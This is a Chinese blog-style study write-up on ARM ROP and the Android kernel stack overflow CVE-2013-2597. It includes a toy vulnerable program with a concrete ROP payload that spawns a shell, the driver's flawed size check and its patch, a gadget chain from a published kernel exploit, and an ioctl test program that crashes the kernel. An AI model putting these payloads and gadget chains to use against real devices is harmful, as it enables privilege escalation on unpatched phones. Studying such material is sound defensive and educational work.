Android内核栈溢出与ROP（CVE-2013-2597） _栈溢出

胸怀万里世界，放眼无限未来。这篇文章主要讲述Android内核栈溢出与ROP（CVE-2013-2597）相关的知识，希望能为你提供帮助。
一、准备由于内核栈不可执行（NX），栈溢出利用需用到ROP。简单回顾一下ARM ROP。
漏洞演示代码如下，网上随便找了个。

char *str="/system/bin/sh"; void callsystem() { system("id"); }void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); }int main(int argc, char** argv) { if (argc == 2 & & strcmp("passwd", argv[1]) == 0) callsystem(); write(STDOUT_FILENO, "Hello, World ", 13); vulnerable_function(); }

vulnerable_function函数使用read从标准输入读数据到buf缓冲区，未校验拷贝长度导致栈溢出。分析其汇编代码：

.text:000083BC vulnerable_function; CODE XREF: main+68p .text:000083BC .text:000083BC buf= -0x84 .text:000083BC .text:000083BCSTMFDSP!, {R11,LR} .text:000083C0ADDR11, SP, #4 .text:000083C4SUBSP, SP, #0x80 .text:000083C8SUBR3, R11, #-buf .text:000083CCMOVR0, #0; fd .text:000083D0MOVR1, R3; buf .text:000083D4MOVR2, #0x100; nbytes .text:000083D8BLread .text:000083DCSUBSP, R11, #4 .text:000083E0LDMFDSP!, {R11,PC} .text:000083E0 ; End of function vulnerable_function

首先LR，R11寄存器压栈，接着分配0x80即128字节的buf栈缓冲区。R3指向buf缓冲区底部。分别通过R0，R1，R2传递3个参数，（0， buf， 0x100【256】），调用read函数。最后恢复R11，并将函数开始时压栈的LR（保存的返回地址）弹出到PC。
其栈结构如下：

高LR ： 4Bytes|R11 ： 4Bytes低buf ： 128Bytes

因此通过 132*‘A’ + addr 即可修改LR为addr，即而控制PC寄存器。我们的exploit目标是通过system(“/system/bin/sh”)返回一个shell。
system()地址，与“/system/bin/sh”字符串地址都可以找到。但system()参数是id，需要修改R0寄存器，指向“/system/bin/sh”地址。

.text:000083A8ADDR3, PC, R3 ; aId ; "id" .text:000083ACMOVR0, R3; r0指向"id"，目标是修改为指向"/system/bin/sh" .text:000083B0BLsystem

下面分析如何查找Gadgets。目前为止，我们能通过溢出控制程序的栈，要修改R0寄存器的值，我们需要 ldr r0 或 mov r0, sp + #xxx类似的指令，来从栈上取值。
当然这里考虑的是简单情况，像ldr r2，mov r0, r2 等多条指令的组合都是符合要求的，我们使用ROPGadgets工具来查找Gadgets：https://github.com/JonathanSalwan/ROPgadget
注意的是，我们的程序编译的是Thumb指令集，需要查找Thumb的Gadgets：

[email protected]:~/android_prj/ROP$ ROPgadget --binary=./bufferoverflow --thumb |grep "ldr r0, [sp, " ... 0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} 0x000091c2 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc} ; push {r3, lr} ; bl #0x91be ; pop {r3, pc} 0x00008872 : ldr r0, [sp, #0xc] ; adds r1, r4, #0 ; ldr r3, [r4, #0x10] ; blx r3 ... [email protected]:~/Android_prj/ROP$

下面是找到符合要求的Gadgets，它符合要求的原因是1）是可以通过栈上的值（sp, #0xc）修改r0寄存器。2）是可以利用栈上值进行程序跳转（pop {pc}）：

0x00008a02 : ldr r0, [sp, #0xc] ; add sp, #0x14 ; pop {pc}

接下来利用它，来布局我们控制的栈，完成利用。
找到“/system/bin/sh”与system地址：

.rodata:00009780 aSystemBinShDCB "/system/bin/sh",0

.plt:00008494 ; int system(const char *) .plt:00008494 system; CODE XREF: sub_94C4:loc_94C8j .plt:00008494ADRR12, 0x849C .plt:00008498ADDR12, R12, #0x2000 .plt:0000849CLDRPC, [R12,#(system_ptr - 0xA49C)]! ; __imp_system

plt是ELF的延迟绑定，其指令为ARM的，因此system函数地址为0x00008494 ，“/system/bin/sh”是Thumb下的地址需加1：0x00009781
看下溢出时，如何布局栈：

文章图片

PoC构造如下：
*** ’A’x132 + 0x00008a03 + ’A’x12 + 0x00009781 + ’A’x4 + 0x00008494 ***
3处地址分别是:gadget addr , r0(system 参数), systemaddr
以下简单回顾完ARM上的ROP过程，与x86差不多，不过要注意处理Thumb还是ARM指令集。下面就分析CVE-2013-2597这个洞的exploit.
二、漏洞原理CVE-2013-2597是一个内核态copy_from_user的栈溢出，拷贝长度size参数由用户态arg传入，且只校验了它非负，当传入大于MAX_IOCTL_DATA的值时，acdb_ioctl函数栈溢出。

uint32_tdata[MAX_IOCTL_DATA]; ... if (copy_from_user(& size, (void *) arg, sizeof(size))) {result = -EFAULT; goto done; } ... if (size < = 0) { pr_err("%s: Invalid size sent to driver: %d ", __func__, size); result = -EFAULT; goto done; } ... if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) {pr_err("%s: fail to copy table size %d ", __func__, size); result = -EFAULT; goto done; }

Patch很简单，只需校验用户传入长度小于data缓冲区大小：

if ((size < = 0) || (size > sizeof(data))) { pr_err("%s: Invalid size sent to driver: %d ", __func__, size); result = -EFAULT; goto done; }

三、漏洞利用战略性放弃。。网上只有fi01的利用介绍，但调试发现其汇编与我在Nexus 5上撸下来的内核里面的不一致，差异太大目前写不出相应的exploit。中文只有莫灰灰与申迪两篇，都是直接照抄翻译fi01的。
但还是可以简单学习下，其思路。
首先在代码中没有发现Canary，福音 :-p
通过构造一个全0的data数据，可以从内核crach log中得到寄存器的值（/proc/last_kmsg）。

< 3> [348.770486] ACDB=> ACDB ioctl not found! < 1> [348.770547] Unable to handle kernel NULL pointer dereference at virtual address 0000009c < 1> [348.770608] pgd = df18c000 < 1> [348.770639] [0000009c] *pgd=9b727831, *pte=00000000, *ppte=00000000 < 0> [348.770700] Internal error: Oops: 80000007 [#1] PREEMPT SMP < 4> [348.770761] Modules linked in: < 4> [348.770791] CPU: 0Not tainted(3.0.8 #1) < 4> [348.770853] PC is at 0x9c < 4> [348.770883] LR is at acdb_ioctl+0x740/0x860 < 4> [348.770944] pc : [< 0000009c> ]lr : [< c0137658> ]psr: 60000013 < 4> [348.770944] sp : ce513f28ip : 00000000fp : 00000098 < 4> [348.771005] r10: 00000094r9 : 00000090r8 : 0000008c < 4> [348.771066] r7 : 00000088r6 : 00000084r5 : 00000080r4 : 0000007c < 4> [348.771097] r3 : 00000000r2 : ce513e74r1 : c0973db8r0 : 00000000 < 4> [348.771158] Flags: nZCvIRQs onFIQs onMode SVC_32ISA ARMSegment user

首先反汇编do_vfs_ioctl，并观察其返回：

c021d8fc: e2 8d d0 44ADDSP, SP, #0x44 c021d900: e8 bd 83 f0LDMUW[SP], { R4-R9, PC }

它将sp+0x44，并恢复r4-r9和pc值，因此通过布局栈，可以控制这些值，其中r5与r9下面有用。
由以上panic的寄存器值可以发现，只要将栈上pc，即0x9c偏移处覆盖，就可以控制第一跳，跳到下面这里：

c0381b98: e5 89 50 00STRR5, [R9] c0381b9c: e8 bd 87 f0LDMUW[SP], { R4-R10, PC }

通过设置r5为shellcode地址，r9为内核fsync()符号地址，STR R5, [R9] 可以实现任意地址写的能力，这里非常巧妙的将栈溢出转为更容易利用的任意地址写任意值。
接着通过控制PC完成下一跳，跳到：

c0231b98: e2 8d d0 24ADDSP, SP, #0x24 c0231b9c: e8 bd 83 f0LDMUW[SP], { R4-R9, PC }

这一步ADD SP, SP, #0x24为了完成栈平衡。通过下图帮助理解：

文章图片

以上完成整个利用过程，并使do_vfs_ioctl正常返回不产生崩溃。
测试中，发现另一处内核Panic，不知道是不是0day?

[24953.996263] Unable to handle kernel paging request at virtual address ffffffee [24953.996653] pgd = e9870000 [24953.996864] [ffffffee] *pgd=36beb821, *pte=00000000, *ppte=00000000 [24953.999564] Internal error: Oops: 17 [#1] PREEMPT SMP ARM [24953.999804] CPU: 0Not tainted(3.4.0-gd59db4e #1) [24954.000206] PC is at ion_free+0x14/0xbc [24954.000437] LR is at msm_audio_ion_import+0x130/0x1b8 [24954.000659] pc : [< c04a0340> ]lr : [< c015c7a4> ]psr: 60000013 [24954.000673] sp : d613fdd0ip : d613fdf0fp : d613fdec [24954.001240] r10: c122a024r9 : ed3793a0r8 : 00000000 [24954.001625] r7 : 00000000r6 : c0e0fab4r5 : c13a8cb0r4 : c13a8cac [24954.001844] r3 : 19761abcr2 : 19761abcr1 : ffffffear0 : dca15b00 [24954.002239] Flags: nZCvIRQs onFIQs onMode SVC_32ISA ARMSegment user [24954.002630] Control: 10c5787dTable: 31c7006aDAC: 00000015

测试代码：

#define OVERFLOW_BUFFER_SIZE0xc0struct acdb_ioctl { unsigned int size; char data[OVERFLOW_BUFFER_SIZE]; }; int test1() { const char *device_name = "/dev/msm_acdb"; struct acdb_ioctl arg; int fd; int ret; fd = open(device_name, O_RDONLY); if (fd < 0) { printf("failed to open %s due to %s. ", device_name, strerror(errno)); return -1; }arg.size = sizeof arg.data; memset(& arg.data, 0x0, arg.size); ret = ioctl(fd, 9999, & arg); close(fd); return 0; }

四、参考

https://www.codeaurora.org/news/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
https://gist.github.com/fi01/6097436
https://gist.github.com/fi01/5857693
http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html

五、附录 1）运行ROPgadget时报错：ImportError: No module named _sqlite3
解决办法：
1-安装sqlite3

sudo apt-get install libsqlite3-dev

2-重新编译安装Pyton

进入解压的python 2.7.6目录

./configure --enable-loadable-sqlite-extensions make make install

2）ROPgadget –binary=./bufferoverflow –thumb |grep “ldr r0” 找不到Gadgets
【Android内核栈溢出与ROP（CVE-2013-2597）】上面ROP回顾，开始直接使用arm-linux-androideabi-gcc交叉编译的，遇到这个问题。但使用ndk-build就OK了。原因没分析。